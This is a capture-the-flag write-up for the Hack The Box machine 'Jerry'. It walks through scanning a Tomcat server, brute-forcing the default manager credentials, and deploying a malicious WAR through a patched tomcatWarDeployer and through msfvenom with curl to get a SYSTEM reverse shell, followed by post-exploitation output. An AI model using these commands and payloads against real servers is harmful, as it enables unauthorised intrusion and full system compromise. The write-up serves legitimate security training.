HTB: Jerry¶
Default Tomcat credentials allow for deploying a malicious WAR file which gives up the system user.
Services¶
TCP¶
nmap
TCP scan:
# Nmap 7.94SVN scan initiated Wed Sep 4 10:06:14 2024 as: nmap -v --reason -Pn -T4 --min-rate 10000 -p- --open -sCV -oN nmap_tcp-jerry.htb.txt jerry.htb
Nmap scan report for jerry.htb (10.10.10.95)
Host is up, received user-set (0.091s latency).
rDNS record for 10.10.10.95: t
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON VERSION
8080/tcp open http syn-ack ttl 127 Apache Tomcat/Coyote JSP engine 1.1
|_http-title: Apache Tomcat/7.0.88
|_http-server-header: Apache-Coyote/1.1
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 4 10:07:10 2024 -- 1 IP address (1 host up) scanned in 56.54 seconds
8080/tcp-http¶
http://jerry.htb:8080/manager/status
:
feroxbuster -u http://jerry.htb:8080 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -d1 -s 200
:
200 GET 34l 165w 1329c http://jerry.htb:8080/docs/api/index.html
401 GET 63l 289w 2536c http://jerry.htb:8080/manager/html
401 GET 54l 241w 2098c http://jerry.htb:8080/host-manager/html
302 GET 0l 0w 0c http://jerry.htb:8080/host-manager/ => http://jerry.htb:8080/host-manager/html
302 GET 0l 0w 0c http://jerry.htb:8080/manager/ => http://jerry.htb:8080/manager/html
200 GET 237l 1259w 9600c http://jerry.htb:8080/docs/RELEASE-NOTES.txt
200 GET 18l 126w 9193c http://jerry.htb:8080/tomcat.png
200 GET 351l 786w 5931c http://jerry.htb:8080/tomcat.css
200 GET 264l 1436w 17469c http://jerry.htb:8080/docs/setup.html
302 GET 0l 0w 0c http://jerry.htb:8080/docs => http://jerry.htb:8080/docs/
200 GET 588l 4109w 43296c http://jerry.htb:8080/docs/security-howto.html
200 GET 413l 2354w 27071c http://jerry.htb:8080/docs/deployer-howto.html
401 GET 63l 289w 2536c http://jerry.htb:8080/manager/status
200 GET 733l 4441w 49780c http://jerry.htb:8080/docs/cluster-howto.html
200 GET 1281l 7026w 67726c http://jerry.htb:8080/docs/realm-howto.html
200 GET 1423l 7952w 81642c http://jerry.htb:8080/docs/manager-howto.html
200 GET 22l 93w 42556c http://jerry.htb:8080/favicon.ico
200 GET 731l 3863w 41273c http://jerry.htb:8080/docs/jndi-datasource-examples-howto.html
302 GET 0l 0w 0c http://jerry.htb:8080/examples => http://jerry.htb:8080/examples/
200 GET 0l 0w 1051154c http://jerry.htb:8080/docs/changelog.html
200 GET 201l 495w 11398c http://jerry.htb:8080/
302 GET 0l 0w 0c http://jerry.htb:8080/manager => http://jerry.htb:8080/manager/
200 GET 0l 0w 0c http://jerry.htb:8080/con
...
Remote Code Execution¶
$ ffuf -w ./Passwords/Default-Credentials/tomcat-betterdefaultpasslist_base64encoded.txt -H "Authorization: Basic FUZZ" -u http://jerry.htb:8080/manager/html -fc 403,401 -c
...
dG9tY2F0OnMzY3JldA== [Status: 200, Size: 17035, Words: 1119, Lines: 380, Duration: 159ms]
dG9tY2F0OnMzY3JldA== [Status: 200, Size: 17035, Words: 1119, Lines: 380, Duration: 157ms]
:: Progress: [79/79] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
$ echo 'dG9tY2F0OnMzY3JldA==' | base64 -d
tomcat:s3cret
https://github.com/mgeeky/tomcatWarDeployer.git works, although to make it work I needed to patch it like this:
diff --git a/tomcatWarDeployer.py b/tomcatWarDeployer.py
index df40d9b..3fe7383 100755
--- a/tomcatWarDeployer.py
+++ b/tomcatWarDeployer.py
@@ -105,7 +105,7 @@ def execcmd(cmd):
def issueCommand(sock, cmd, isWindows, path = ''):
if isWindows:
- cmd = cmd + '\r\n'
+ cmd = cmd + b'\r\n'
else:
cmd = cmd + '\n'
@@ -113,16 +113,16 @@ def issueCommand(sock, cmd, isWindows, path = ''):
res = recvall(sock).strip()
if isWindows:
- res = res.replace(cmd, '')
- lines = res.split('\r\n')
+ res = res.replace(cmd, b'')
+ lines = res.split(b'\r\n')
if len(lines) > 2 and lines[-2].strip() == '' \
and re.match(r'[A-Z]\:(?:\\[^>]+)>', lines[-1]):
- res = '\r\n'.join(lines[:-2])
+ res = b'\r\n'.join(lines[:-2])
- lines = res.split('\r\n')
+ lines = res.split(b'\r\n')
if lines[-1].strip() == path:
- res = '\r\n'.join(lines[:-1]).strip()
+ res = b'\r\n'.join(lines[:-1]).strip()
return res
@@ -138,13 +138,13 @@ def shellLoop(sock, host):
except:
pass
- if 'Microsoft Windows [Version' in initialRecv:
- lines = initialRecv.split('\r\n')
+ if b'Microsoft Windows [Version' in initialRecv:
+ lines = initialRecv.split(b'\r\n')
path = lines[-1]
isWindows = True
- whoami = issueCommand(sock, 'whoami', isWindows, path)
- hostname = issueCommand(sock, 'hostname', isWindows, path)
+ whoami = issueCommand(sock, b'whoami', isWindows, path)
+ hostname = issueCommand(sock, b'hostname', isWindows, path)
except (socket.gaierror, socket.error) as e:
logger.error(
@@ -295,7 +295,7 @@ def generateWAR(code, title, appname):
f.write(code)
javaver = execcmd('java -version')
- m = re.search('version "([^"]+)"', javaver, re.M|re.I)
+ m = re.search('version "([^"]+)"', javaver.decode('utf8'), re.M|re.I)
if m:
javaver = m.group(1)
logger.debug('Working with Java at version: %s' % javaver)
@@ -372,7 +372,7 @@ Created-By: %s (Sun Microsystems Inc.)
logger.debug(packing)
tree = execcmd('tree %s' % dirpath)
- if not ('sh' in tree and 'tree: not found' in tree):
+ if not (b'sh' in tree and 'tree: not found' in tree):
logger.debug('WAR file structure:')
logger.debug(tree)
@@ -597,7 +597,7 @@ def invokeApplication(browser, url, opts):
resp = browser.open(appurl)
src = resp.read()
- if 'JSP Backdoor deployed as WAR on Apache Tomcat.' in src:
+ if b'JSP Backdoor deployed as WAR on Apache Tomcat.' in src:
logger.debug('Application invoked correctly.')
return True
else:
@@ -860,7 +860,7 @@ def browseToManager(host, url, user, password):
page = browser.open(managerurl)
data = page.read()
- m = re.search('Apache Tomcat/([^<]+)', data)
+ m = re.search('Apache Tomcat/([^<]+)', data.decode('utf8'))
if m:
logger.debug('Probably found something: Apache Tomcat/%s' % m.group(1))
tomcatVersion = m.group(1)
That patch is incomplete in that it still errors out on the command line, but it works well enough to deploy the webshell:
$ python3 ./tomcatWarDeployer.py -U tomcat -P s3cret -H 10.10.14.14 -p 443 jerry.htb:8080/manager/html/ -x
tomcatWarDeployer (v. 0.5.2)
Apache Tomcat auto WAR deployment & launching tool
Mariusz Banach / MGeeky '16-18
Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured.
INFO: Reverse shell will connect to: 10.10.14.14:443.
INFO: Apache Tomcat/7.0.88 Manager Application reached & validated.
INFO: At: "http://jerry.htb:8080/manager/html/"
WARNING: Application with name: "jsp_app" is already deployed.
INFO: WAR DEPLOYED! Invoking it...
INFO: ------------------------------------------------------------
INFO: JSP Backdoor up & running on http://jerry.htb:8080/jsp_app/
INFO:
Happy pwning. Here take that password for web shell: 'hwS3te1prkiw'
INFO: ------------------------------------------------------------
INFO: Connected with: b'nt authority\\system'@b'JERRY'
b'C:\\apache-tomcat-7.0.88>' whoami /priv
Exception in thread Thread-1 (shellHandler):
Traceback (most recent call last):
File "/usr/lib/python3.11/threading.py", line 1045, in _bootstrap_inner
self.run()
File "/usr/lib/python3.11/threading.py", line 982, in run
self._target(*self._args, **self._kwargs)
File "/home/e/src/tomcatWarDeployer/./tomcatWarDeployer.py", line 229, in shellHandler
shellLoop(sock, host)
File "/home/e/src/tomcatWarDeployer/./tomcatWarDeployer.py", line 178, in shellLoop
res = issueCommand(sock, command, isWindows, path)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/e/src/tomcatWarDeployer/./tomcatWarDeployer.py", line 108, in issueCommand
cmd = cmd + b'\r\n'
~~~~^~~~~~~~~
TypeError: can only concatenate str (not "bytes") to str
Note that this gives up the nt authority\system
user, so privilege escalation isn't necessary.
A Cleaner Way¶
This also works, and is easier:
$ msfvenom -p java/shell_reverse_tcp lhost=10.10.14.14 lport=443 -f war -o hax.war
Payload size: 13031 bytes
Final size of war file: 13031 bytes
Saved as: hax.war
$ curl -u 'tomcat:s3cret' http://jerry.htb:8080/manager/text/deploy?path=/hax --upload-file hax.war
OK - Deployed application at context path /hax
$ curl http://jerry.htb:8080/hax/
listening on [any] 443 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.10.95] 49224
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\apache-tomcat-7.0.88>whoami
whoami
nt authority\system
Post-exploitation¶
Life after root
.
PS C:\apache-tomcat-7.0.88\conf> cat tomcat-users.xml
<?xml version='1.0' encoding='utf-8'?>
<tomcat-users>
<role rolename="tomcat"/>
<role rolename="role1"/>
<user username="tomcat" password="s3cret" roles="tomcat, manager-gui, manager-script, manager-jmx, manager-status"/>
<user username="admin" password="admin" roles="role1, manager-status"/>
<user username="jerry" password="tomcat" roles="role1, manager-status"/>
</tomcat-users>
Host Name: JERRY
OS Name: Microsoft Windows Server 2012 R2 Standard
OS Version: 6.3.9600 N/A Build 9600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00252-00112-46014-AA570
Original Install Date: 6/18/2018, 11:30:45 PM
System Boot Time: 9/5/2024, 2:05:24 AM
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2445 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 11/12/2020
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest
Total Physical Memory: 4,095 MB
Available Physical Memory: 3,053 MB
Virtual Memory: Max Size: 4,799 MB
Virtual Memory: Available: 3,686 MB
Virtual Memory: In Use: 1,113 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB
Logon Server: N/A
Hotfix(s): 142 Hotfix(s) Installed.
[01]: KB2868626
...
[142]: KB4284815
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) 82574L Gigabit Network Connection
Connection Name: Ethernet0
DHCP Enabled: No
IP address(es)
[01]: 10.10.10.95
[02]: fe80::e026:f5ca:fc24:af5f
[03]: dead:beef::e026:f5ca:fc24:af5f
[04]: dead:beef::84
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.